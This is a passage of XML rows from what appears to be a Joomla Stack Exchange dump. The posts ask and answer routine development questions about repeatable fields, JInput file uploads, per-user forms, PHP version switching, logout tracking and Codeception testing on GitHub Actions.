  <row Id="30345" PostTypeId="2" ParentId="30344" CreationDate="2021-07-09T13:47:49.980" Score="2" Body="&lt;p&gt;It's how Repeatable field stores its data. Pick a field to iterate over and use its key to access value of another field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($carousel_images['carouselimage'] as $key =&amp;gt; $image)&#xA;{&#xA;    // do something clever for each of the images&#xA;    '&amp;lt;img src=&amp;quot;' . $image .'&amp;quot;&amp;gt;&amp;lt;p&amp;gt;' . $carousel_images['carouselcaption'][$key] . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or use &lt;code&gt;array_combine()&lt;/code&gt; to build a normal associative array:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$carousel_images = array_combine($carousel_images['carouselimage'], $carousel_images['carouselcaption']);&#xA;&#xA;// loop the result&#xA;foreach($carousel_images as $image =&amp;gt; $caption)&#xA;{&#xA;       // do something clever for each of the images&#xA;       '&amp;lt;img src=&amp;quot;' . $image .'&amp;quot;&amp;gt;&amp;lt;p&amp;gt;' . $caption . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you are developing a new component, you should consider using Subform field instead which stores data differently. Repeatable field is deprecated and will be removed in J4.&lt;/p&gt;&#xA;&lt;p&gt;Also, if you want semantic markup, you should use &lt;code&gt;figure&lt;/code&gt; element with &lt;code&gt;figcaption&lt;/code&gt; to define an image with a caption.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// do something clever for each of the images&#xA;'&amp;lt;figure&amp;gt;&amp;lt;img src=&amp;quot;' . $image .'&amp;quot;&amp;gt;&amp;lt;figcaption&amp;gt;' . $carousel_images['carouselcaption'][$key] . '&amp;lt;/figcaption&amp;gt;&amp;lt;/figure&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-07-09T13:47:49.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30346" PostTypeId="1" CreationDate="2021-07-09T23:45:39.207" Score="0" ViewCount="170" Body="&lt;p&gt;I am trying to upload a single or array of files and am not sure how to use the jinput with the array and filter. Tried multiple suggestions from here and documentation and cannot make it work for me.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get some data from the request&#xA;$file       = JRequest::getVar('file', '', 'files', 'array');&#xA;$file_id    = $this-&amp;gt;input-&amp;gt;get('file_id');&#xA;$folder     = $this-&amp;gt;input-&amp;gt;getString('folder');&#xA;$filter     = new JFilterInput();&#xA;$folder     = $filter-&amp;gt;clean($folder, 'path');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Appreciate any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="15320" LastActivityDate="2021-08-09T10:00:11.487" Title="Upload single or multiple files replacing deprecated JRequest::getVar('file', '', 'files', 'array');" Tags="|joomla-3.x|joomla-api|jinput|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30347" PostTypeId="1" CreationDate="2021-07-10T00:17:13.770" Score="0" ViewCount="83" Body="&lt;p&gt;I am a total noob in coding. Back in engineering school we had some coding classes and I was good at it but I never really focused on that. I know some python and c# and that is about it.&lt;/p&gt;&#xA;&lt;p&gt;I have a site. I use Cpanel and used Joomla to build the site.&lt;/p&gt;&#xA;&lt;p&gt;In this site, certain users have &amp;quot;player&amp;quot; access. These users, every week, need to select an option from a form, and this option they can never select again. The game lasts 17 weeks, and by week 17, all of them are left with only two options which are then automatically selected, given that they always selected an option in the previous weeks, else they have to choose 2 out of the &amp;quot;many&amp;quot; options they could have.&lt;/p&gt;&#xA;&lt;p&gt;Currently, I am using visforms to create a form where I have a dropdown list and they can select the option for that week. My problem is that, I cannot make that list dynamic. Meaning that they are always presented with all the options no matter what week we are in and what options they have selected before. Also, it is the same list for all users, it does not eliminate the option that they have already selected in previous weeks.&lt;/p&gt;&#xA;&lt;p&gt;What I want to do is stop using visforms and create a form myself. I think I can figure out how to create a drop-down list in html with all the options needed. What I do not know is the following:&lt;/p&gt;&#xA;&lt;p&gt;Whatever the user selects in that drop-down list, store it in an SQL database that I have created in CPanel. And store it based on each user.&#xA;Make the drop-down lists user dependent. Meaning that the options shown are based on the user that is seeing them. Because if they have selected an option before, I do not want them to have that option available anymore. And it is different for every user, of course.&#xA;Please point me in the right direction to solve my problem. I will do my due diligence and most likely come back in a future date with some questions but also with some code.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="15510" LastActivityDate="2023-11-28T07:06:15.717" Title="Dynamic Form based on Signed in User" Tags="|joomla-3.x|database|form|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30348" PostTypeId="2" ParentId="30346" CreationDate="2021-07-10T08:23:16.940" Score="1" Body="&lt;p&gt;Use this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;input-&amp;gt;files-&amp;gt;get('file', [], 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that returned data is formatted differently to allow iterating over files:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(2) {&#xA;  [0]=&amp;gt;&#xA;  array(5) {&#xA;    [&amp;quot;name&amp;quot;]=&amp;gt;&#xA;    string(16) &amp;quot;joomla_black.png&amp;quot;&#xA;    [&amp;quot;type&amp;quot;]=&amp;gt;&#xA;    string(9) &amp;quot;image/png&amp;quot;&#xA;    [&amp;quot;tmp_name&amp;quot;]=&amp;gt;&#xA;    string(23) &amp;quot;C:\wamp\tmp\php5788.tmp&amp;quot;&#xA;    [&amp;quot;error&amp;quot;]=&amp;gt;&#xA;    int(0)&#xA;    [&amp;quot;size&amp;quot;]=&amp;gt;&#xA;    int(4979)&#xA;  }&#xA;  [1]=&amp;gt;&#xA;  array(5) {&#xA;    [&amp;quot;name&amp;quot;]=&amp;gt;&#xA;    string(14) &amp;quot;powered_by.png&amp;quot;&#xA;    [&amp;quot;type&amp;quot;]=&amp;gt;&#xA;    string(9) &amp;quot;image/png&amp;quot;&#xA;    [&amp;quot;tmp_name&amp;quot;]=&amp;gt;&#xA;    string(23) &amp;quot;C:\wamp\tmp\php5798.tmp&amp;quot;&#xA;    [&amp;quot;error&amp;quot;]=&amp;gt;&#xA;    int(0)&#xA;    [&amp;quot;size&amp;quot;]=&amp;gt;&#xA;    int(3197)&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As opposed to having an array with properties as keys when using &lt;code&gt;JRequest&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(5) {&#xA;  [&amp;quot;name&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [0]=&amp;gt;&#xA;    string(16) &amp;quot;joomla_black.png&amp;quot;&#xA;    [1]=&amp;gt;&#xA;    string(14) &amp;quot;powered_by.png&amp;quot;&#xA;  }&#xA;  [&amp;quot;type&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [0]=&amp;gt;&#xA;    string(9) &amp;quot;image/png&amp;quot;&#xA;    [1]=&amp;gt;&#xA;    string(9) &amp;quot;image/png&amp;quot;&#xA;  }&#xA;  [&amp;quot;tmp_name&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [0]=&amp;gt;&#xA;    string(23) &amp;quot;C:\wamp\tmp\php5788.tmp&amp;quot;&#xA;    [1]=&amp;gt;&#xA;    string(23) &amp;quot;C:\wamp\tmp\php5798.tmp&amp;quot;&#xA;  }&#xA;  [&amp;quot;error&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [0]=&amp;gt;&#xA;    int(0)&#xA;    [1]=&amp;gt;&#xA;    int(0)&#xA;  }&#xA;  [&amp;quot;size&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [0]=&amp;gt;&#xA;    int(4979)&#xA;    [1]=&amp;gt;&#xA;    int(3197)&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-07-10T08:23:16.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30350" PostTypeId="1" CreationDate="2021-07-10T15:16:21.910" Score="1" ViewCount="203" Body="&lt;p&gt;By default, Joomla provides few types of fields that could be used as repeatable custom fields:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;editor&lt;/li&gt;&#xA;&lt;li&gt;media&lt;/li&gt;&#xA;&lt;li&gt;number&lt;/li&gt;&#xA;&lt;li&gt;text&lt;/li&gt;&#xA;&lt;li&gt;textarea&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I want to have more fields like boolean, or maybe even more rich like &amp;quot;select article&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I know that there is the possibility of overriding the files, but I am a bit scared of losing them after update.&lt;/p&gt;&#xA;&lt;p&gt;For example, I managed to add checkbox fields by adding new string to file located at:&lt;br&gt;&lt;strong&gt;/plugins/fields/repeatable/params/repeatable.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&amp;quot;checkbox&amp;quot;&amp;gt;checkbox&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I achieve this in an update-safe way?&lt;/p&gt;&#xA;" OwnerUserId="15512" LastEditorUserId="12352" LastEditDate="2021-07-10T23:13:57.287" LastActivityDate="2021-07-10T23:13:57.287" Title="How to add new field types to repeatable custom field?" Tags="|custom-field|repeatable-field|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30351" PostTypeId="2" ParentId="30347" CreationDate="2021-07-11T01:32:33.963" Score="1" Body="&lt;p&gt;I would suggest you look at the form builders come application builder extenstions like Chronoforms or Fabrik where you can build in a lot of programming to glue the forms you want together and can include tables to store the data retrieved or sent.&lt;/p&gt;&#xA;&lt;p&gt;You also mention creating a database via cPanel which unless you have some reason for having it external to the Joomla instance I would suggest using either of the extension mentioned above, or something similar, and create your tables within the Joomla database. It will make accessing them much simpler to manage.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-07-11T01:32:33.963" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30352" PostTypeId="1" CreationDate="2021-07-11T19:53:21.513" Score="0" ViewCount="47" Body="&lt;p&gt;My admin &amp;amp; secondary access username can't log in.&lt;/p&gt;&#xA;&lt;p&gt;In phpMyAdmin, both are listed as 0.&#xA;What is wrong/how can I recover?&lt;/p&gt;&#xA;&lt;p&gt;I have found my username in the database, clicked edit, used MD5 and inserted a new password, clicked GO &amp;amp; checked back to my Joomla login. It didn't work, I still have no access.&lt;/p&gt;&#xA;" OwnerUserId="15513" LastEditorUserId="12352" LastEditDate="2021-07-11T22:12:52.257" LastActivityDate="2021-07-11T22:12:52.257" Title="Password no longer accepted" Tags="|user|login|account-password|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="30353" PostTypeId="1" AcceptedAnswerId="30354" CreationDate="2021-07-12T11:20:23.433" Score="0" ViewCount="55" Body="&lt;p&gt;Can I back version php? now I use version 5.6 My goal to 7.0-7.2.&#xA;I install My site local and choose php 7 or 7.2. It works without issue.&#xA;if I set ver 7 and find some issue. Can I back ver php to 5.6 or I have to repair backup?&#xA;I use Godaddy host. but other has c panel like this&lt;/p&gt;&#xA;" OwnerUserId="15471" LastActivityDate="2021-07-12T11:38:35.883" Title="php 5.6 to 7.1 and go back" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30354" PostTypeId="2" ParentId="30353" CreationDate="2021-07-12T11:38:35.883" Score="3" Body="&lt;p&gt;It is always good advice to take a usable back up of your site before making any changes to important aspects like PHP. Having said that I haven't had any issues switching back to previous versions of PHP over the years when needed.&lt;/p&gt;&#xA;&lt;p&gt;The most likely issues you will encounter moving from PHP 5 to PHP 7.x will be whether all the required PHP extensions are provided by the host company. You may receive an error about something not being found and you will have to go into the setting for PHP in your hosting account and select the correct to include that extension in your environment. Until you resolve the issue you may need to fall back to the previous version of PHP.&lt;/p&gt;&#xA;&lt;p&gt;A sample of the options set in my environment.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kefcb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kefcb.png&quot; alt=&quot;Sample of PHP extension for 7.4&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-07-12T11:38:35.883" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30355" PostTypeId="1" CreationDate="2021-07-12T13:46:44.463" Score="1" ViewCount="234" Body="&lt;p&gt;I frequently want to check if a particular set of users are currently logged into the back end (administrator side) of my site (e.g. so I don't do anything disruptive while they are logged in) and, less importantly, how long they were logged into my site during each session when they were logged in (e.g. so I know how much time my employees are spending logged into my site).&lt;/p&gt;&#xA;&lt;p&gt;Using Users-&amp;gt;User Actions Log I can see when everyone logged in but I can't see when they logged out, either manually or due to an inactivity timer expiration. Is there a way to add the user logout time to the User Actions Log or some other software that tracks users login/logout times? I'm on Joomla 3.9.28.&lt;/p&gt;&#xA;&lt;p&gt;What I really want to know about is users logging in/out of the back end (admin side) of the site, I really don't care about users logging into the front end and so hadn't initially considered that the current Actions Log includes both front and back end logins. I realized that when I found this plugin*:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://help.joomlatools.com/article/313-configuring-logman#user-login-logout&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://help.joomlatools.com/article/313-configuring-logman#user-login-logout&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;which says it's not suitable for sites with large numbers of users, which mine has for the front end but not for the back end that I actually care about. Having said that, I might be OK with software that tracks both front and back end login/logout, I'd have to test it to see if it's too much.&lt;/p&gt;&#xA;&lt;p&gt;*I can't use that plugin because as it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;LOGman will track a users logout when the user explicitly logs out by clicking the logout button. LOGman cannot track the logout if the users session expires.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;so it only does part of the necessary job.&lt;/p&gt;&#xA;&lt;p&gt;I found a similar question to this at &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=844869&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=844869&lt;/a&gt; which took me to another plugin, &lt;a href=&quot;https://www.joomlathat.com/content-statistics&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlathat.com/content-statistics&lt;/a&gt;, but it also doesn't display when a user is logged out due to inactivity, just when they click the &amp;quot;logout&amp;quot; button.&lt;/p&gt;&#xA;&lt;p&gt;If there isn't a way to see a log of when someone logged out, is there at least a way to tell who is currently logged in?&lt;/p&gt;&#xA;" OwnerUserId="15514" LastEditorUserId="15514" LastEditDate="2021-07-13T14:40:05.627" LastActivityDate="2021-07-14T03:26:41.263" Title="How can I add tracking of user logout time to User Actions?" Tags="|joomla-3.x|user|login|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="30356" PostTypeId="1" CreationDate="2021-07-12T20:07:35.270" Score="1" ViewCount="102" Body="&lt;p&gt;I think i read almost all similar reccources considering this issue, but nothing helped so far.&lt;/p&gt;&#xA;&lt;p&gt;I am moving our Codeception tests on Github Actions. The whole build process is running but the acceptance tests not, because the session snapshot can't be restored.&lt;/p&gt;&#xA;&lt;p&gt;The same Workflow works on a local server where i use selenium webdriver. I tried to run selenium in Actions (commented in build.yml) but that made some port problems.&lt;/p&gt;&#xA;&lt;p&gt;What i'm doing in this short example is installing Joomla (works) and after that creating a Content category.&lt;/p&gt;&#xA;&lt;p&gt;The second step (creating a Content category) tries to pick up the created session from the first step.&lt;/p&gt;&#xA;&lt;p&gt;It's very simple and no problem locally, but on Actions the created session cannot be read.&lt;/p&gt;&#xA;&lt;p&gt;When removing the populator from &lt;code&gt;codeception.yml&lt;/code&gt; the session problem goes away.&lt;br /&gt;&#xA;But in the &lt;code&gt;dump.sql&lt;/code&gt; is nothing having influence on users or sessions or cookies. There are only a few tables with demo data and they are needed.&lt;/p&gt;&#xA;&lt;p&gt;The relevant report part:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;InstallCest: Install joomla&#xA;Signature: InstallCest:installJoomla&#xA;Test: tests/codeception/acceptance/install/InstallCest.php:installJoomla&#xA;... works&#xA;&#xA;InstallCest: createCategory&#xA;Signature: InstallCest:createcategory&#xA;Test: tests/codeception/acceptance/install/InstallCest.php:createcategory&#xA;Scenario --&#xA;[Db] Executing Populator: `mysql -uroot -proot test &amp;lt; tests/codeception/_data/dump.sql`&#xA;[Db] Populator Finished.&#xA;I create category &amp;quot;test 123&amp;quot;&#xA;Category creation in /administrator/&#xA;I open Joomla Administrator Login Page&#xA;[GET] http://127.0.0.1:8000/administrator/index.php&#xA;[Cookies] [{&amp;quot;name&amp;quot;:&amp;quot;9d4bb4a09f511681369671a08beff228&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;fail5495jbd01q6dc2nm06i7gf&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/&amp;quot;,&amp;quot;domain&amp;quot;:&amp;quot;127.0.0.1&amp;quot;,&amp;quot;expiry&amp;quot;:1623346855,&amp;quot;secure&amp;quot;:false,&amp;quot;httpOnly&amp;quot;:false},{&amp;quot;name&amp;quot;:&amp;quot;8b5558aac8008f05fd8f8e59a3244887&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;irhlqlj8jabat2n5746ba0sb5r&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;/&amp;quot;,&amp;quot;domain&amp;quot;:&amp;quot;127.0.0.1&amp;quot;,&amp;quot;expiry&amp;quot;:1623346855,&amp;quot;secure&amp;quot;:false,&amp;quot;httpOnly&amp;quot;:false}]&#xA;[Snapshot] Restored &amp;quot;admin&amp;quot; session snapshot&#xA;[GET] http://127.0.0.1:8000/administrator/index.php?option=com_categories&#xA;Screenshot and page source were saved into '/home/runner/work/project_b/project_b/tests/codeception/_output/' dir&#xA;ERROR &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The report:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;session not created: No matching capabilities found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The HTML Snapshot:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: session_start(): Failed to read session data: user (path: /var/lib/php/sessions) in /home/runner/work/project_b/project_b/joomla/libraries/joomla/session/handler/native.php on line 260&#xA;Error: Failed to start application: Failed to start the session&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The php.log part&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Wed Jun  9 18:24:13 2021] 127.0.0.1:41972 Accepted&#xA;[Wed Jun  9 18:24:13 2021] 127.0.0.1:41972 [200]: GET /media/jui/fonts/IcoMoon.woff&#xA;[Wed Jun  9 18:24:13 2021] 127.0.0.1:41972 Closing&#xA;[Wed Jun  9 18:24:16 2021] 127.0.0.1:41982 Accepted&#xA;[Wed Jun  9 18:24:16 2021] PHP Warning:  session_start(): Failed to read session data: user (path: /var/lib/php/sessions) in /home/runner/work/project_b/project_b/joomla/libraries/joomla/session/handler/native.php on line 260&#xA;[Wed Jun  9 18:24:16 2021] 127.0.0.1:41982 [500]: GET /administrator/index.php&#xA;[Wed Jun  9 18:24:16 2021] 127.0.0.1:41982 Closing&#xA;[Wed Jun  9 18:24:16 2021] 127.0.0.1:41986 Accepted&#xA;[Wed Jun  9 18:24:16 2021] PHP Warning:  session_start(): Failed to read session data: user (path: /var/lib/php/sessions) in /home/runner/work/project_b/project_b/joomla/libraries/joomla/session/handler/native.php on line 260&#xA;[Wed Jun  9 18:24:16 2021] 127.0.0.1:41986 [500]: GET /administrator/index.php?option=com_categories&#xA;[Wed Jun  9 18:24:16 2021] 127.0.0.1:41986 Closing &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried change the session.save_path without effect.&lt;/p&gt;&#xA;&lt;p&gt;Posting relevant pieces:&lt;/p&gt;&#xA;&lt;p&gt;composer.json&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;name&amp;quot;: &amp;quot;company/tests&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;Company Product&amp;quot;,&#xA;    &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0+&amp;quot;,&#xA;    &amp;quot;require&amp;quot;: {},&#xA;    &amp;quot;require-dev&amp;quot;: {&#xA;        &amp;quot;codeception/codeception&amp;quot;: &amp;quot;^4&amp;quot;,&#xA;        &amp;quot;fzaninotto/faker&amp;quot;: &amp;quot;^1.6&amp;quot;,&#xA;        &amp;quot;behat/gherkin&amp;quot;: &amp;quot;^4.4.1&amp;quot;,&#xA;        &amp;quot;phing/phing&amp;quot;: &amp;quot;2.*&amp;quot;,&#xA;        &amp;quot;codeception/module-asserts&amp;quot;: &amp;quot;^1.3&amp;quot;,&#xA;        &amp;quot;codeception/module-webdriver&amp;quot;: &amp;quot;^1.2&amp;quot;,&#xA;        &amp;quot;codeception/module-filesystem&amp;quot;: &amp;quot;^1.0&amp;quot;,&#xA;        &amp;quot;codeception/module-db&amp;quot;: &amp;quot;^1.1&amp;quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;build.yml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;name: Codeception Tests&#xA;&#xA;on: [push]&#xA;&#xA;jobs:&#xA;tests:&#xA;    runs-on: ${{ matrix.operating-system }}&#xA;    strategy:&#xA;    fail-fast: false&#xA;    matrix:&#xA;        operating-system: [ubuntu-18.04]&#xA;        php: [&amp;quot;7.4&amp;quot;]&#xA;    name: PHP ${{ matrix.php }} Test on ${{ matrix.operating-system }}&#xA;&#xA;    env:&#xA;    php-ini-values: post_max_size=32M&#xA;    DB_DATABASE: test&#xA;    DB_NAME: test&#xA;    DB_ADAPTER: mysql&#xA;    DB_USERNAME: root&#xA;    DB_PASSWORD: root&#xA;    DB_HOST: 127.0.0.1&#xA;    DB_PORT: 3306&#xA;    APP_URL: http://127.0.0.1:8000&#xA;&#xA;    steps:&#xA;    - name: Checkout&#xA;        uses: actions/checkout@v2&#xA;&#xA;    - name: Checkout Joomla 3&#xA;        uses: actions/checkout@v2&#xA;        with:&#xA;        repository: joomla/joomla-cms&#xA;        ref: &amp;quot;3.9.27&amp;quot;&#xA;        path: joomla&#xA;&#xA;    - name: Setup PHP&#xA;        uses: shivammathur/setup-php@v2&#xA;        with:&#xA;        php-version: ${{ matrix.php }}&#xA;        # ini-values: session.save_path=/tmp&#xA;        extensions: mbstring, intl, zip, json&#xA;        tools: composer:v2&#xA;&#xA;    - name: Start MySQL&#xA;        run: |&#xA;        sudo /etc/init.d/mysql start&#xA;        mysql -e 'CREATE DATABASE test;' -uroot -proot&#xA;        mysql -e 'SHOW DATABASES;' -uroot -proot&#xA;&#xA;    # Composer stuff ...&#xA;&#xA;    - name: Run chromedriver&#xA;        run: nohup $CHROMEWEBDRIVER/chromedriver --url-base=/wd/hub /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#xA;&#xA;    # - name: Start ChromeDriver (was a try)&#xA;    #   run: |&#xA;    #     google-chrome --version&#xA;    #     xvfb-run --server-args=&amp;quot;-screen 0, 1280x720x24&amp;quot; --auto-servernum \&#xA;    #     chromedriver --port=4444 --url-base=/wd/hub &amp;amp;&amp;gt; chromedriver.log &amp;amp;&#xA;&#xA;    - name: Run PHP webserver&#xA;        run: |&#xA;        php -S 127.0.0.1:8000 -t joomla/ &amp;amp;&amp;gt; php.log.txt &amp;amp;&#xA;        sleep 1;&#xA;&#xA;    - name: Install Tests&#xA;        run: |&#xA;        php vendor/bin/codecept run &amp;quot;tests/codeception/acceptance/install/InstallCest.php&amp;quot; -vv --html&#xA;        env:&#xA;        DB_PORT: ${{ job.services.mysql.ports[3306] }}&#xA;&#xA;    - name: Upload Codeception output&#xA;        if: ${{ always() }}&#xA;        uses: actions/upload-artifact@v2&#xA;        with:&#xA;        name: codeception-results&#xA;        # path: Tests/Acceptance/_output/&#xA;        path: tests/codeception/_output/&#xA;&#xA;    - name: Upload PHP log&#xA;        if: ${{ failure() }}&#xA;        uses: actions/upload-artifact@v2&#xA;        with:&#xA;        name: php-log&#xA;        path: php.log.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Acceptance Suite&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class_name: AcceptanceTester&#xA;modules:&#xA;enabled:&#xA;    - Asserts&#xA;    - JoomlaBrowser&#xA;    - Helper\Acceptance&#xA;    - DbHelper&#xA;    - Filesystem&#xA;config:&#xA;    JoomlaBrowser:&#xA;    url: &amp;quot;http://127.0.0.1:8000/&amp;quot;&#xA;    browser: &amp;quot;chrome&amp;quot;&#xA;    restart: true&#xA;    clear_cookies: true&#xA;    # window_size: 1280x1024&#xA;    window_size: false&#xA;    port: 9515&#xA;    capabilities:&#xA;        unexpectedAlertBehaviour: &amp;quot;accept&amp;quot;&#xA;        chromeOptions:&#xA;        args: [&amp;quot;--headless&amp;quot;, &amp;quot;--disable-gpu&amp;quot;] # Run Chrome in headless mode&#xA;        # prefs:&#xA;        #   download.default_directory: &amp;quot;...&amp;quot;&#xA;    username: &amp;quot;admin&amp;quot; # UserName for the Administrator&#xA;    password: &amp;quot;admin&amp;quot; # Password for the Administrator&#xA;    database host: &amp;quot;127.0.0.1:3306&amp;quot; # place where the Application is Hosted #server Address&#xA;    database user: &amp;quot;root&amp;quot; # MySQL Server user ID, usually root&#xA;    database password: &amp;quot;root&amp;quot; # MySQL Server password, usually empty or root&#xA;    database name: &amp;quot;test&amp;quot; # DB Name, at the Server&#xA;    database type: &amp;quot;mysqli&amp;quot; # type in lowercase one of the options: MySQL\MySQLi\PDO&#xA;    database prefix: &amp;quot;jos_&amp;quot; # DB Prefix for tables&#xA;    install sample data: &amp;quot;no&amp;quot; # Do you want to Download the Sample Data Along with Joomla Installation, then keep it Yes&#xA;    sample data: &amp;quot;Default English (GB) Sample Data&amp;quot; # Default Sample Data&#xA;    admin email: &amp;quot;admin@mydomain.com&amp;quot; # email Id of the Admin&#xA;    language: &amp;quot;English (United Kingdom)&amp;quot; # Language in which you want the Application to be Installed&#xA;    Helper\Acceptance:&#xA;    url: &amp;quot;http://127.0.0.1:8000/&amp;quot; # the url that points to the joomla installation at /tests/system/joomla-cms - we need it twice here&#xA;    MicrosoftEdgeInsiders: false # set this to true, if you are on Windows Insiders&#xA;&#xA;error_level: &amp;quot;E_ALL &amp;amp; ~E_STRICT &amp;amp; ~E_DEPRECATED&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;InstallCest.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA;* Install Joomla and create Category&#xA;*&#xA;* @since  3.7.3&#xA;*/&#xA;class InstallCest&#xA;{&#xA;    /**&#xA;    * Install Joomla, disable statistics and enable Error Reporting&#xA;    *&#xA;    * @param   AcceptanceTester  $I  The AcceptanceTester Object&#xA;    *&#xA;    * @since   3.7.3&#xA;    *&#xA;    * @return  void&#xA;    *&#xA;    */&#xA;    public function installJoomla(\AcceptanceTester $I)&#xA;    {&#xA;        $I-&amp;gt;am('Administrator');&#xA;        $I-&amp;gt;installJoomlaRemovingInstallationFolder();&#xA;        $I-&amp;gt;doAdministratorLogin();&#xA;        $I-&amp;gt;disableStatistics();&#xA;        $I-&amp;gt;setErrorReportingToDevelopment();&#xA;    }&#xA;&#xA;    /**&#xA;    * Just create Category&#xA;    *&#xA;    * @param   AcceptanceTester  $I  The AcceptanceTester Object&#xA;    *&#xA;    * @since   3.7.3&#xA;    *&#xA;    * @return  void&#xA;    *&#xA;    */&#xA;    public function createCategory(\AcceptanceTester $I)&#xA;    {&#xA;        $I-&amp;gt;createCategory('test 123');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="3822" LastEditDate="2021-07-13T09:59:41.757" LastActivityDate="2021-07-13T09:59:41.757" Title="Codeception Acceptance Testing issue using session snapshot" Tags="|development|custom-component|cms-testing|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30357" PostTypeId="2" ParentId="19413" CreationDate="2021-07-13T02:28:03.697" Score="1" Body="&lt;p&gt;It seems you mispelled the filename the correct name is access.xml without the capital A. Another thing you might want to look at is if you added the rules field in config.xml file. Lastly, if you have declared both of these files in your component's manifest in the administrator files part. Like so:&#xA;Note: I just put the revelant part of what your component manifest should look like in order to work properly as you expect it to be. I also assume that you have the latest stable installed version of Joomla! at time of writing this answer it's Joomla! 3.9.28&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- more before --&amp;gt;&#xA;&#xA;&amp;lt;administration&amp;gt;&#xA;        &amp;lt;!-- Administration Main File Copy Section --&amp;gt;&#xA;        &amp;lt;!-- Note the folder attribute: This attribute describes the folder&#xA;            to 